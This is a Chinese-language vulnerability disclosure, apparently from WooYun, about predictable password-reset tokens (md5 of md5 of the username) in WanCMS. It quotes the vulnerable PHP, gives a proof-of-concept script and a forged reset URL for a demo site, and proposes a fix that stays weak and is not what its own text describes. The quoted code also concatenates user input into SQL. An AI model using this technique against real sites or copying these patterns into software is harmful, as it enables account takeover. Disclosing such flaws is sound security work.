WanCMS 可修改任意用户密码(源码详析+实例演示)

漏洞详情

披露状态:

2014-01-19: 细节已通知厂商并且等待厂商处理中
2014-01-20: 厂商已经确认,细节仅向厂商公开
2014-01-23: 细节向第三方安全合作伙伴开放
2014-01-30: 细节向核心白帽子及相关领域专家公开
2014-02-09: 细节向普通白帽子公开
2014-03-01: 细节向实习白帽子公开
2014-04-19: 细节向公众公开

简要描述:

WanCMS 可修改任意用户密码(源码详析+实例演示)
在官方演示站demo.wancms.com做实例测试
(未测试旧版本,据原理分析可能是全版本通杀,本测试使用的版本是站长之家20130102的1.3免费版,官网不明版本演示测试成功)

详细说明:

/app/Lib/Action/AccountsAction.class.php line:580

//密码找回相关代码
if ($_POST ['submit']) {
$email = trim ( $_POST ['t'] );
$username = trim ( $_POST ['username'] );
$public = A ( 'Public' );
//注意下面这句
$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username ) );
//MD5是hash函数,而非加密函数,当用户得知username后可轻易推断md5散列值,因此,密码找回验证完全被绕过
//与以下无关
$subject = "用户邮箱找回密码'";
$body = "尊敬的网页游戏用户您好:
请点击以下地址找回您的密码," . $reurl . "
祝您游戏愉快!有任何问题可到我们官方网站联系";
if ($public->think_send_mail ( $email, '平台系统信息', $subject, $body )) {
$arr_i ['user_status'] = 1; //所以要先申请找回
$arr_i ['pwd_flag'] = md5 ( md5 ( $username ) );
$member->where ( "username ='" . $username . "'" )->save ( $arr_i ); // 更新状态
$this->success ( '已发送到您的邮箱,请去邮箱完成验证', '/' );
} else {
$this->error ( '发送失败 ,请联系客服', '/' );
}
}





所以,

1.点击找回密码

2.发送验证邮件

3.计算md5 ( md5 ( $username ) )

4.重置密码



poc:

<?php 
$username='lxj616';
$t=md5 ( md5 ( $username ) );
echo $t;
?>





http://demo.31wan.cn/accounts/forget_password_t?vc=c1bfd25357a080c23ac5297c8ce6e7d6



注:验证时别忘了先点击“发送验证邮件”



QQ截图20140119092522.png





可以计算一下poc生成 c1bfd25357a080c23ac5297c8ce6e7d6



漏洞成因总结为:身份令牌可预测

漏洞证明:

QQ截图20140119092522.png





修复方案:

$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username ) );



改为:



$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username.$password ) );



前后文按照此方法修改即可,由于攻击者无法预先获知password和random,因此无法再伪造找回密码链接

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-20 14:16

厂商回复:

已修复

最新状态:

暂无


漏洞评价: